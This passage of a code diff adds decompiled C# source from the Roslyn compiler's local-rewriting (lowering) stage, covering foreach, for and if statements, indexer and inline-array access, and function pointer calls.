method2, arguments); + array3[i] = MakeLocalDeclaration(cSharpSyntaxNode, array[i], rewrittenInitialValue2); + } + LocalSymbol[] array4 = new LocalSymbol[rank]; + BoundLocal[] array5 = new BoundLocal[rank]; + for (int j = 0; j < rank; j++) + { + array4[j] = _factory.SynthesizedLocal(specialType, (SyntaxNode?)(object)cSharpSyntaxNode, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)8); + array5[j] = MakeBoundLocal(cSharpSyntaxNode, array4[j], specialType); + } + BoundExpression[] items = array5; + BoundExpression iterationVarValue = ApplyConversionIfNotIdentity(elementConversion, elementPlaceholder, new BoundArrayAccess((SyntaxNode)(object)cSharpSyntaxNode, boundLocal, ImmutableArray.Create(items), arrayTypeSymbol.ElementType)); + BoundStatement iterationVarDecl = LocalOrDeconstructionDeclaration(cSharpSyntaxNode, deconstruction, iterationVariables, iterationVarValue); + InstrumentForEachStatementIterationVarDeclaration(node, ref iterationVarDecl); + BoundStatement boundStatement = CreateBlockDeclaringIterationVariables(iterationVariables, iterationVarDecl, rewrittenBody, (SyntaxNode)(object)cSharpSyntaxNode); + BoundStatement boundStatement2 = null; + for (int num = rank - 1; num >= 0; num--) + { + ImmutableArray arguments2 = ImmutableArray.Create(MakeLiteral((SyntaxNode)(object)cSharpSyntaxNode, ConstantValue.Create((object)num, (ConstantValueTypeDiscriminator)6), specialType)); + BoundExpression rewrittenInitialValue3 = BoundCall.Synthesized((SyntaxNode)(object)cSharpSyntaxNode, boundLocal, (ThreeState)0, method, arguments2); + BoundStatement rewrittenInitializer = MakeLocalDeclaration(cSharpSyntaxNode, array4[num], rewrittenInitialValue3); + GeneratedLabelSymbol breakLabel2 = ((num == 0) ? breakLabel : new GeneratedLabelSymbol("break")); + BoundExpression rewrittenCondition = new BoundBinaryOperator((SyntaxNode)(object)cSharpSyntaxNode, BinaryOperatorKind.IntLessThanOrEqual, null, null, null, LookupResultKind.Viable, array5[num], array2[num], specialType2); + BoundStatement rewrittenIncrement = MakePositionIncrement(cSharpSyntaxNode, array5[num], specialType); + BoundStatement rewrittenBody2; + GeneratedLabelSymbol continueLabel2; + if (boundStatement2 == null) + { + rewrittenBody2 = boundStatement; + continueLabel2 = continueLabel; + } + else + { + rewrittenBody2 = boundStatement2; + continueLabel2 = new GeneratedLabelSymbol("continue"); + } + boundStatement2 = RewriteForStatementWithoutInnerLocals(node, ImmutableArray.Create(array4[num]), rewrittenInitializer, rewrittenCondition, rewrittenIncrement, rewrittenBody2, breakLabel2, continueLabel2, node.HasErrors); + } + BoundStatement result = new BoundBlock((SyntaxNode)(object)cSharpSyntaxNode, ImmutableArrayExtensions.Concat(ImmutableArray.Create(localSymbol), ImmutableArrayExtensions.AsImmutableOrNull(array)), ImmutableArrayExtensions.Concat(ImmutableArray.Create(collectionVarDecl), ImmutableArrayExtensions.AsImmutableOrNull(array3)).Add(boundStatement2)); + InstrumentForEachStatement(node, ref result); + return result; + } + + private static BoundExpression GetUnconvertedCollectionExpression(BoundForEachStatement node, out Conversion collectionConversion) + { + BoundConversion boundConversion = (BoundConversion)node.Expression; + collectionConversion = boundConversion.Conversion; + return boundConversion.Operand; + } + + private static BoundLocal MakeBoundLocal(CSharpSyntaxNode syntax, LocalSymbol local, TypeSymbol type) + { + return new BoundLocal((SyntaxNode)(object)syntax, local, null, type); + } + + private BoundStatement MakeLocalDeclaration(CSharpSyntaxNode syntax, LocalSymbol local, BoundExpression rewrittenInitialValue) + { + return RewriteLocalDeclaration(null, (SyntaxNode)(object)syntax, local, rewrittenInitialValue); + } + + private BoundStatement MakePositionIncrement(CSharpSyntaxNode syntax, BoundLocal boundPositionVar, TypeSymbol intType) + { + return BoundSequencePoint.CreateHidden(new BoundExpressionStatement((SyntaxNode)(object)syntax, new BoundAssignmentOperator((SyntaxNode)(object)syntax, boundPositionVar, new BoundBinaryOperator((SyntaxNode)(object)syntax, BinaryOperatorKind.IntAddition, null, null, null, LookupResultKind.Viable, boundPositionVar, MakeLiteral((SyntaxNode)(object)syntax, ConstantValue.Create(1), intType), intType), intType))); + } + + private void InstrumentForEachStatementCollectionVarDeclaration(BoundNode node, [NotNullIfNotNull("collectionVarDecl")] ref BoundStatement? collectionVarDecl) + { + if (Instrument && node is BoundForEachStatement original) + { + collectionVarDecl = Instrumenter.InstrumentForEachStatementCollectionVarDeclaration(original, collectionVarDecl); + } + } + + private void InstrumentForEachStatementIterationVarDeclaration(BoundNode node, ref BoundStatement iterationVarDecl) + { + if (Instrument && node is BoundForEachStatement boundForEachStatement) + { + if (((CommonForEachStatementSyntax)(object)boundForEachStatement.Syntax) is ForEachVariableStatementSyntax) + { + iterationVarDecl = Instrumenter.InstrumentForEachStatementDeconstructionVariablesDeclaration(boundForEachStatement, iterationVarDecl); + } + else + { + iterationVarDecl = Instrumenter.InstrumentForEachStatementIterationVarDeclaration(boundForEachStatement, iterationVarDecl); + } + } + } + + private void InstrumentForEachStatement(BoundNode node, ref BoundStatement result) + { + if (Instrument && node is BoundForEachStatement original) + { + result = Instrumenter.InstrumentForEachStatement(original, result); + } + } + + public override BoundNode VisitForStatement(BoundForStatement node) + { + BoundStatement rewrittenInitializer = VisitStatement(node.Initializer); + BoundExpression boundExpression = VisitExpression(node.Condition); + BoundStatement rewrittenIncrement = VisitStatement(node.Increment); + BoundStatement rewrittenBody = VisitStatement(node.Body); + if (boundExpression != null && Instrument) + { + boundExpression = Instrumenter.InstrumentForStatementCondition(node, boundExpression, _factory); + } + return RewriteForStatement(node, rewrittenInitializer, boundExpression, rewrittenIncrement, rewrittenBody); + } + + private BoundStatement RewriteForStatementWithoutInnerLocals(BoundNode original, ImmutableArray outerLocals, BoundStatement? rewrittenInitializer, BoundExpression? rewrittenCondition, BoundStatement? rewrittenIncrement, BoundStatement rewrittenBody, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel, bool hasErrors) + { + SyntaxNode syntax = original.Syntax; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (rewrittenInitializer != null) + { + instance.Add(rewrittenInitializer); + } + GeneratedLabelSymbol label = new GeneratedLabelSymbol("start"); + GeneratedLabelSymbol label2 = new GeneratedLabelSymbol("end"); + BoundStatement boundStatement = new BoundGotoStatement(syntax, label2); + if (Instrument) + { + boundStatement = BoundSequencePoint.CreateHidden(boundStatement); + } + instance.Add(boundStatement); + instance.Add((BoundStatement)new BoundLabelStatement(syntax, label)); + instance.Add(rewrittenBody); + instance.Add((BoundStatement)new BoundLabelStatement(syntax, continueLabel)); + if (rewrittenIncrement != null) + { + instance.Add(rewrittenIncrement); + } + instance.Add((BoundStatement)new BoundLabelStatement(syntax, label2)); + BoundStatement boundStatement2 = null; + boundStatement2 = ((rewrittenCondition == null) ? ((BoundStatement)new BoundGotoStatement(syntax, label)) : ((BoundStatement)new BoundConditionalGoto(rewrittenCondition.Syntax, rewrittenCondition, jumpIfTrue: true, label))); + if (Instrument) + { + switch (original.Kind) + { + case BoundKind.ForEachStatement: + boundStatement2 = Instrumenter.InstrumentForEachStatementConditionalGotoStart((BoundForEachStatement)original, boundStatement2); + break; + case BoundKind.ForStatement: + boundStatement2 = Instrumenter.InstrumentForStatementConditionalGotoStartOrBreak((BoundForStatement)original, boundStatement2); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)original.Kind); + case BoundKind.CollectionExpressionSpreadElement: + break; + } + } + instance.Add(boundStatement2); + instance.Add((BoundStatement)new BoundLabelStatement(syntax, breakLabel)); + ImmutableArray statements = instance.ToImmutableAndFree(); + return new BoundBlock(syntax, outerLocals, statements, hasErrors); + } + + private BoundStatement RewriteForStatement(BoundForStatement node, BoundStatement? rewrittenInitializer, BoundExpression? rewrittenCondition, BoundStatement? rewrittenIncrement, BoundStatement rewrittenBody) + { + if (node.InnerLocals.IsEmpty) + { + return RewriteForStatementWithoutInnerLocals(node, node.OuterLocals, rewrittenInitializer, rewrittenCondition, rewrittenIncrement, rewrittenBody, node.BreakLabel, node.ContinueLabel, node.HasErrors); + } + SyntaxNode syntax = node.Syntax; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (rewrittenInitializer != null) + { + instance.Add(rewrittenInitializer); + } + GeneratedLabelSymbol label = new GeneratedLabelSymbol("start"); + BoundStatement boundStatement = new BoundLabelStatement(syntax, label); + if (Instrument) + { + boundStatement = BoundSequencePoint.CreateHidden(boundStatement); + } + instance.Add(boundStatement); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + if (rewrittenCondition != null) + { + BoundStatement boundStatement2 = new BoundConditionalGoto(rewrittenCondition.Syntax, rewrittenCondition, jumpIfTrue: false, node.BreakLabel); + if (Instrument) + { + boundStatement2 = Instrumenter.InstrumentForStatementConditionalGotoStartOrBreak(node, boundStatement2); + } + instance2.Add(boundStatement2); + } + instance2.Add(rewrittenBody); + instance2.Add((BoundStatement)new BoundLabelStatement(syntax, node.ContinueLabel)); + if (rewrittenIncrement != null) + { + instance2.Add(rewrittenIncrement); + } + instance2.Add((BoundStatement)new BoundGotoStatement(syntax, label)); + instance.Add((BoundStatement)new BoundBlock(syntax, node.InnerLocals, instance2.ToImmutableAndFree())); + instance.Add((BoundStatement)new BoundLabelStatement(syntax, node.BreakLabel)); + ImmutableArray statements = instance.ToImmutableAndFree(); + return new BoundBlock(syntax, node.OuterLocals, statements, node.HasErrors); + } + + public override BoundNode? VisitFunctionPointerInvocation(BoundFunctionPointerInvocation node) + { + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + BoundExpression invokedExpression = VisitExpression(node.InvokedExpression); + MethodSymbol signature = node.FunctionPointer.Signature; + ImmutableArray argumentRefKindsOpt = node.ArgumentRefKindsOpt; + BoundExpression rewrittenReceiver = null; + ArrayBuilder tempsOpt = null; + ImmutableArray rewrittenArguments = VisitArgumentsAndCaptureReceiverIfNeeded(ref rewrittenReceiver, ReceiverCaptureMode.Default, node.Arguments, signature, default(ImmutableArray), argumentRefKindsOpt, null, ref tempsOpt); + SimpleNameSyntax interceptableNameSyntax = node.InterceptableNameSyntax; + if (interceptableNameSyntax != null) + { + (Location, MethodSymbol)? tuple = _compilation.TryGetInterceptor(((SyntaxNode)interceptableNameSyntax).Location); + if (tuple.HasValue) + { + Location item = tuple.GetValueOrDefault().Item1; + BindingDiagnosticBag diagnostics = _diagnostics; + object[] array = new object[1]; + SyntaxToken identifier = interceptableNameSyntax.Identifier; + array[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.ERR_InterceptableMethodMustBeOrdinary, item, array); + } + } + rewrittenArguments = MakeArguments(node.Syntax, rewrittenArguments, signature, expanded: false, default(ImmutableArray), ref argumentRefKindsOpt, ref tempsOpt); + BoundExpression boundExpression = node.Update(invokedExpression, rewrittenArguments, argumentRefKindsOpt, node.ResultKind, node.Type); + if (tempsOpt.Count == 0) + { + tempsOpt.Free(); + } + else + { + boundExpression = new BoundSequence(boundExpression.Syntax, tempsOpt.ToImmutableAndFree(), ImmutableArray.Empty, boundExpression, node.Type); + } + if (Instrument) + { + boundExpression = Instrumenter.InstrumentFunctionPointerInvocation(node, boundExpression); + } + return boundExpression; + } + + public override BoundNode VisitGotoStatement(BoundGotoStatement node) + { + BoundExpression caseExpressionOpt = null; + BoundLabel labelExpressionOpt = null; + BoundStatement boundStatement = node.Update(node.Label, caseExpressionOpt, labelExpressionOpt); + if (Instrument && !node.WasCompilerGenerated) + { + boundStatement = Instrumenter.InstrumentGotoStatement(node, boundStatement); + } + return boundStatement; + } + + public override BoundNode? VisitLabel(BoundLabel node) + { + return null; + } + + public override BoundNode VisitHostObjectMemberReference(BoundHostObjectMemberReference node) + { + SyntaxNode syntax = node.Syntax; + FieldSymbol hostObjectField = _previousSubmissionFields.GetHostObjectField(); + BoundThisReference receiver = new BoundThisReference(syntax, _factory.CurrentType); + return new BoundFieldAccess(syntax, receiver, hostObjectField, null); + } + + public override BoundNode VisitIfStatement(BoundIfStatement node) + { + BoundExpression rewrittenCondition = VisitExpression(node.Condition); + BoundStatement rewrittenConsequence = VisitStatement(node.Consequence); + BoundStatement rewrittenAlternativeOpt = VisitStatement(node.AlternativeOpt); + IfStatementSyntax syntax = (IfStatementSyntax)(object)node.Syntax; + if (Instrument && !node.WasCompilerGenerated) + { + rewrittenCondition = Instrumenter.InstrumentIfStatementCondition(node, rewrittenCondition, _factory); + } + BoundStatement boundStatement = RewriteIfStatement((SyntaxNode)(object)syntax, rewrittenCondition, rewrittenConsequence, rewrittenAlternativeOpt, node.HasErrors); + if (Instrument && !node.WasCompilerGenerated) + { + boundStatement = Instrumenter.InstrumentIfStatement(node, boundStatement); + } + return boundStatement; + } + + private static BoundStatement RewriteIfStatement(SyntaxNode syntax, BoundExpression rewrittenCondition, BoundStatement rewrittenConsequence, BoundStatement? rewrittenAlternativeOpt, bool hasErrors) + { + GeneratedLabelSymbol label = new GeneratedLabelSymbol("afterif"); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (rewrittenAlternativeOpt == null) + { + instance.Add((BoundStatement)new BoundConditionalGoto(rewrittenCondition.Syntax, rewrittenCondition, jumpIfTrue: false, label)); + instance.Add(rewrittenConsequence); + instance.Add(BoundSequencePoint.CreateHidden()); + instance.Add((BoundStatement)new BoundLabelStatement(syntax, label)); + ImmutableArray statements = instance.ToImmutableAndFree(); + return new BoundStatementList(syntax, statements, hasErrors); + } + GeneratedLabelSymbol label2 = new GeneratedLabelSymbol("alternative"); + instance.Add((BoundStatement)new BoundConditionalGoto(rewrittenCondition.Syntax, rewrittenCondition, jumpIfTrue: false, label2)); + instance.Add(rewrittenConsequence); + instance.Add(BoundSequencePoint.CreateHidden()); + instance.Add((BoundStatement)new BoundGotoStatement(syntax, label)); + instance.Add((BoundStatement)new BoundLabelStatement(syntax, label2)); + instance.Add(rewrittenAlternativeOpt); + instance.Add(BoundSequencePoint.CreateHidden()); + instance.Add((BoundStatement)new BoundLabelStatement(syntax, label)); + return new BoundStatementList(syntax, instance.ToImmutableAndFree(), hasErrors); + } + + public override BoundNode VisitFromEndIndexExpression(BoundFromEndIndexExpression node) + { + NamedTypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + BoundExpression boundExpression = MakeLiteral(node.Syntax, ConstantValue.Create(true), specialType); + BoundExpression boundExpression2 = VisitExpression(node.Operand); + if (NullableNeverHasValue(boundExpression2)) + { + boundExpression2 = new BoundDefaultExpression(boundExpression2.Syntax, boundExpression2.Type.GetNullableUnderlyingType()); + } + boundExpression2 = NullableAlwaysHasValue(boundExpression2) ?? boundExpression2; + if (!node.Type.IsNullableType()) + { + return new BoundObjectCreationExpression(node.Syntax, node.MethodOpt, boundExpression2, boundExpression); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + boundExpression2 = CaptureExpressionInTempIfNeeded(boundExpression2, instance, instance2, (SynthesizedLocalKind)(-2)); + BoundExpression rewrittenCondition = MakeOptimizedHasValue(boundExpression2.Syntax, boundExpression2); + BoundExpression boundExpression3 = MakeOptimizedGetValueOrDefault(boundExpression2.Syntax, boundExpression2); + BoundExpression underlyingValue = new BoundObjectCreationExpression(node.Syntax, node.MethodOpt, boundExpression3, boundExpression); + BoundExpression rewrittenConsequence = ConvertToNullable(node.Syntax, node.Type, underlyingValue); + BoundExpression rewrittenAlternative = new BoundDefaultExpression(node.Syntax, node.Type); + BoundExpression value = RewriteConditionalOperator(node.Syntax, rewrittenCondition, rewrittenConsequence, rewrittenAlternative, null, node.Type, isRef: false); + return new BoundSequence(node.Syntax, instance2.ToImmutableAndFree(), instance.ToImmutableAndFree(), value, node.Type); + } + + private BoundExpression ConvertToNullable(SyntaxNode syntax, TypeSymbol targetNullableType, BoundExpression underlyingValue) + { + if (!TryGetNullableMethod(syntax, targetNullableType, (SpecialMember)117, out MethodSymbol result)) + { + return BadExpression(syntax, targetNullableType, underlyingValue); + } + return new BoundObjectCreationExpression(syntax, result, underlyingValue); + } + + private BoundExpression MakeDynamicIndexerAccessReceiver(BoundDynamicIndexerAccess indexerAccess, BoundExpression loweredReceiver) + { + string text = indexerAccess.TryGetIndexedPropertyName(); + if (text != null) + { + return _dynamicFactory.MakeDynamicGetMember(loweredReceiver, text, resultIndexed: true).ToExpression(); + } + return loweredReceiver; + } + + public override BoundNode VisitDynamicIndexerAccess(BoundDynamicIndexerAccess node) + { + BoundExpression loweredReceiver = VisitExpression(node.Receiver); + ImmutableArray loweredArguments = VisitList(node.Arguments); + return MakeDynamicGetIndex(node, loweredReceiver, loweredArguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt); + } + + private BoundExpression MakeDynamicGetIndex(BoundDynamicIndexerAccess node, BoundExpression loweredReceiver, ImmutableArray loweredArguments, ImmutableArray argumentNames, ImmutableArray refKinds) + { + EmbedIfNeedTo(loweredReceiver, node.ApplicableIndexers, node.Syntax); + return _dynamicFactory.MakeDynamicGetIndex(MakeDynamicIndexerAccessReceiver(node, loweredReceiver), loweredArguments, argumentNames, refKinds).ToExpression(); + } + + public override BoundNode VisitIndexerAccess(BoundIndexerAccess node) + { + return VisitIndexerAccess(node, isLeftOfAssignment: false); + } + + private BoundExpression VisitIndexerAccess(BoundIndexerAccess node, bool isLeftOfAssignment) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + PropertySymbol indexer = node.Indexer; + BoundExpression rewrittenReceiver = VisitExpression(node.ReceiverOpt); + return MakeIndexerAccess(node.Syntax, rewrittenReceiver, indexer, node.Arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.Type, node, isLeftOfAssignment); + } + + private BoundExpression MakeIndexerAccess(SyntaxNode syntax, BoundExpression rewrittenReceiver, PropertySymbol indexer, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, TypeSymbol type, BoundIndexerAccess? oldNodeOpt, bool isLeftOfAssignment) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (isLeftOfAssignment && (int)indexer.RefKind == 0) + { + if (oldNodeOpt == null) + { + return new BoundIndexerAccess(syntax, rewrittenReceiver, (ThreeState)0, indexer, arguments, argumentNamesOpt, argumentRefKindsOpt, expanded, argsToParamsOpt, defaultArguments, type); + } + return oldNodeOpt.Update(rewrittenReceiver, (ThreeState)0, indexer, arguments, argumentNamesOpt, argumentRefKindsOpt, expanded, argsToParamsOpt, defaultArguments, type); + } + MethodSymbol ownOrInheritedGetMethod = indexer.GetOwnOrInheritedGetMethod(); + ArrayBuilder tempsOpt = null; + ImmutableArray rewrittenArguments = VisitArgumentsAndCaptureReceiverIfNeeded(ref rewrittenReceiver, ReceiverCaptureMode.Default, arguments, indexer, argsToParamsOpt, argumentRefKindsOpt, null, ref tempsOpt); + rewrittenArguments = MakeArguments(syntax, rewrittenArguments, indexer, expanded, argsToParamsOpt, ref argumentRefKindsOpt, ref tempsOpt); + BoundExpression boundExpression = MakePropertyGetAccess(syntax, rewrittenReceiver, indexer, rewrittenArguments, argumentRefKindsOpt, ownOrInheritedGetMethod); + if (tempsOpt.Count == 0) + { + tempsOpt.Free(); + return boundExpression; + } + return new BoundSequence(syntax, tempsOpt.ToImmutableAndFree(), ImmutableArray.Empty, boundExpression, type); + } + + public override BoundNode? VisitInlineArrayAccess(BoundInlineArrayAccess node) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Invalid comparison between Unknown and I4 + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_01c0: Unknown result type (might be due to invalid IL or missing references) + //IL_01c6: Invalid comparison between Unknown and I4 + //IL_0204: Unknown result type (might be due to invalid IL or missing references) + //IL_020b: Invalid comparison between Unknown and I4 + //IL_0225: Unknown result type (might be due to invalid IL or missing references) + //IL_022c: Invalid comparison between Unknown and I4 + BoundExpression boundExpression = VisitExpression(node.Expression); + BoundAssignmentOperator store = null; + if (node.IsValue && (int)node.GetItemOrSliceHelper == 406) + { + boundExpression = _factory.StoreToTemp(boundExpression, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + } + MethodSymbol methodSymbol = (MethodSymbol)_compilation.GetWellKnownTypeMember(node.GetItemOrSliceHelper); + node.Expression.Type.HasInlineArrayAttribute(out var length); + ArrayBuilder instance; + ArrayBuilder instance2; + BoundExpression result; + if ((int)node.Argument.Type.SpecialType == 13) + { + result = getElementRef(node, boundExpression, VisitExpression(node.Argument), methodSymbol, length); + } + else + { + if (!TypeSymbol.Equals(node.Argument.Type, _compilation.GetWellKnownType((WellKnownType)284), (TypeCompareKind)63)) + { + MethodSymbol methodSymbol2 = getCreateSpanHelper(node, methodSymbol.ContainingType, (NamedTypeSymbol)methodSymbol.Parameters[0].Type); + methodSymbol = methodSymbol.AsMember((NamedTypeSymbol)methodSymbol2.ReturnType); + RewriteRangeParts(node.Argument, out BoundRangeExpression rangeExpr, out BoundExpression startMakeOffsetInput, out PatternIndexOffsetLoweringStrategy startStrategy, out BoundExpression endMakeOffsetInput, out PatternIndexOffsetLoweringStrategy endStrategy, out BoundExpression rewrittenRangeArg); + instance = ArrayBuilder.GetInstance(); + instance2 = ArrayBuilder.GetInstance(); + BoundExpression startExpr; + BoundExpression rangeSizeExpr; + if (rangeExpr != null) + { + startExpr = makePatternIndexOffsetExpression(startMakeOffsetInput, length, startStrategy); + BoundExpression endExpr = makePatternIndexOffsetExpression(endMakeOffsetInput, length, endStrategy); + rangeSizeExpr = MakeRangeSize(ref startExpr, endExpr, instance, instance2); + } + else + { + DeconstructRange(rewrittenRangeArg, _factory.Literal(length), instance, instance2, out startExpr, out rangeSizeExpr); + } + BoundExpression boundExpression2 = boundExpression; + if (instance2.Count != 0) + { + boundExpression2 = _factory.StoreToTemp(boundExpression2, out BoundAssignmentOperator store2, (RefKind)(((int)methodSymbol2.Parameters[0].RefKind != 3) ? 1 : 5), (SynthesizedLocalKind)(-2)); + instance.Insert(0, ((BoundLocal)boundExpression2).LocalSymbol); + instance2.Insert(0, (BoundExpression)store2); + } + ConstantValue constantValueOpt = startExpr.ConstantValueOpt; + if (constantValueOpt != null && (int)constantValueOpt.SpecialType == 13 && constantValueOpt.Int32Value == 0) + { + constantValueOpt = rangeSizeExpr.ConstantValueOpt; + if (constantValueOpt != null && (int)constantValueOpt.SpecialType == 13) + { + int int32Value = constantValueOpt.Int32Value; + if (int32Value >= 0 && int32Value <= length) + { + result = _factory.Call(null, methodSymbol2, boundExpression2, rangeSizeExpr, useStrictArgumentRefKinds: true); + goto IL_0288; + } + } + } + result = _factory.Call(_factory.Call(null, methodSymbol2, boundExpression2, _factory.Literal(length), useStrictArgumentRefKinds: true), methodSymbol, startExpr, rangeSizeExpr); + goto IL_0288; + } + PatternIndexOffsetLoweringStrategy strategy; + BoundExpression makeOffsetInput = DetermineMakePatternIndexOffsetExpressionStrategy(node.Argument, out strategy); + BoundExpression index = makePatternIndexOffsetExpression(makeOffsetInput, length, strategy); + result = getElementRef(node, boundExpression, index, methodSymbol, length); + } + goto IL_02a3; + IL_02a3: + if (store != null) + { + result = _factory.Sequence(ImmutableArray.Create(((BoundLocal)boundExpression).LocalSymbol), ImmutableArray.Create((BoundExpression)store), result); + } + return result; + IL_0288: + result = _factory.Sequence(instance.ToImmutableAndFree(), instance2.ToImmutableAndFree(), result); + goto IL_02a3; + MethodSymbol getCreateSpanHelper(BoundInlineArrayAccess boundInlineArrayAccess, NamedTypeSymbol spanType, NamedTypeSymbol intType) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + WellKnownMember getItemOrSliceHelper = boundInlineArrayAccess.GetItemOrSliceHelper; + bool flag = (((int)getItemOrSliceHelper == 406 || (int)getItemOrSliceHelper == 408) ? true : false); + MethodSymbol methodSymbol3 = ((!flag) ? _factory.ModuleBuilderOpt.EnsureInlineArrayAsSpanExists(boundInlineArrayAccess.Syntax, spanType, intType, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag) : _factory.ModuleBuilderOpt.EnsureInlineArrayAsReadOnlySpanExists(boundInlineArrayAccess.Syntax, spanType, intType, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag)); + return methodSymbol3.Construct(boundInlineArrayAccess.Expression.Type, boundInlineArrayAccess.Expression.Type.TryGetInlineArrayElementField().Type); + } + BoundExpression getElementRef(BoundInlineArrayAccess boundInlineArrayAccess, BoundExpression rewrittenReceiver, BoundExpression boundExpression3, MethodSymbol getItemOrSliceHelper, int num) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Invalid comparison between Unknown and I4 + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Invalid comparison between Unknown and I4 + NamedTypeSymbol intType = (NamedTypeSymbol)boundExpression3.Type; + ConstantValue constantValueOpt2 = boundExpression3.ConstantValueOpt; + if (constantValueOpt2 != null && (int)constantValueOpt2.SpecialType == 13) + { + int int32Value2 = constantValueOpt2.Int32Value; + if (int32Value2 == 0) + { + MethodSymbol methodSymbol3 = (((int)boundInlineArrayAccess.GetItemOrSliceHelper != 400) ? _factory.ModuleBuilderOpt.EnsureInlineArrayFirstElementRefReadOnlyExists(boundInlineArrayAccess.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag) : _factory.ModuleBuilderOpt.EnsureInlineArrayFirstElementRefExists(boundInlineArrayAccess.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag)); + methodSymbol3 = methodSymbol3.Construct(boundInlineArrayAccess.Expression.Type, boundInlineArrayAccess.Expression.Type.TryGetInlineArrayElementField().Type); + return _factory.Call(null, methodSymbol3, rewrittenReceiver, useStrictArgumentRefKinds: true); + } + if (int32Value2 > 0 && int32Value2 < num) + { + MethodSymbol methodSymbol4 = (((int)boundInlineArrayAccess.GetItemOrSliceHelper != 400) ? _factory.ModuleBuilderOpt.EnsureInlineArrayElementRefReadOnlyExists(boundInlineArrayAccess.Syntax, intType, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag) : _factory.ModuleBuilderOpt.EnsureInlineArrayElementRefExists(boundInlineArrayAccess.Syntax, intType, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag)); + methodSymbol4 = methodSymbol4.Construct(boundInlineArrayAccess.Expression.Type, boundInlineArrayAccess.Expression.Type.TryGetInlineArrayElementField().Type); + return _factory.Call(null, methodSymbol4, rewrittenReceiver, boundExpression3, useStrictArgumentRefKinds: true); + } + } + NamedTypeSymbol containingType = getItemOrSliceHelper.ContainingType; + MethodSymbol methodSymbol5 = getCreateSpanHelper(boundInlineArrayAccess, containingType, intType); + getItemOrSliceHelper = getItemOrSliceHelper.AsMember((NamedTypeSymbol)methodSymbol5.ReturnType); + return _factory.Call(_factory.Call(null, methodSymbol5, rewrittenReceiver, _factory.Literal(num), useStrictArgumentRefKinds: true), getItemOrSliceHelper, boundExpression3); + } + BoundExpression makePatternIndexOffsetExpression(BoundExpression? boundExpression3, int num, PatternIndexOffsetLoweringStrategy patternIndexOffsetLoweringStrategy) + { + if (patternIndexOffsetLoweringStrategy == PatternIndexOffsetLoweringStrategy.SubtractFromLength && boundExpression3 != null) + { + ConstantValue constantValueOpt2 = boundExpression3.ConstantValueOpt; + if (constantValueOpt2 != null) + { + int int32Value2 = constantValueOpt2.Int32Value; + return _factory.Literal(num - int32Value2); + } + } + return MakePatternIndexOffsetExpression(boundExpression3, _factory.Literal(num), patternIndexOffsetLoweringStrategy); + } + } + + public override BoundNode? VisitListPatternIndexPlaceholder(BoundListPatternIndexPlaceholder node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter_IndexerAccess.cs", 371); + } + + public override BoundNode? VisitListPatternReceiverPlaceholder(BoundListPatternReceiverPlaceholder node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter_IndexerAccess.cs", 376); + } + + public override BoundNode? VisitSlicePatternRangePlaceholder(BoundSlicePatternRangePlaceholder node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter_IndexerAccess.cs", 381); + } + + public override BoundNode? VisitSlicePatternReceiverPlaceholder(BoundSlicePatternReceiverPlaceholder node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter_IndexerAccess.cs", 386); + } + + public override BoundNode? VisitImplicitIndexerReceiverPlaceholder(BoundImplicitIndexerReceiverPlaceholder node) + { + return PlaceholderReplacement(node); + } + + public override BoundNode? VisitImplicitIndexerValuePlaceholder(BoundImplicitIndexerValuePlaceholder node) + { + return PlaceholderReplacement(node); + } + + public override BoundNode VisitImplicitIndexerAccess(BoundImplicitIndexerAccess node) + { + return VisitImplicitIndexerAccess(node, isLeftOfAssignment: false); + } + + private BoundExpression VisitImplicitIndexerAccess(BoundImplicitIndexerAccess node, bool isLeftOfAssignment) + { + if 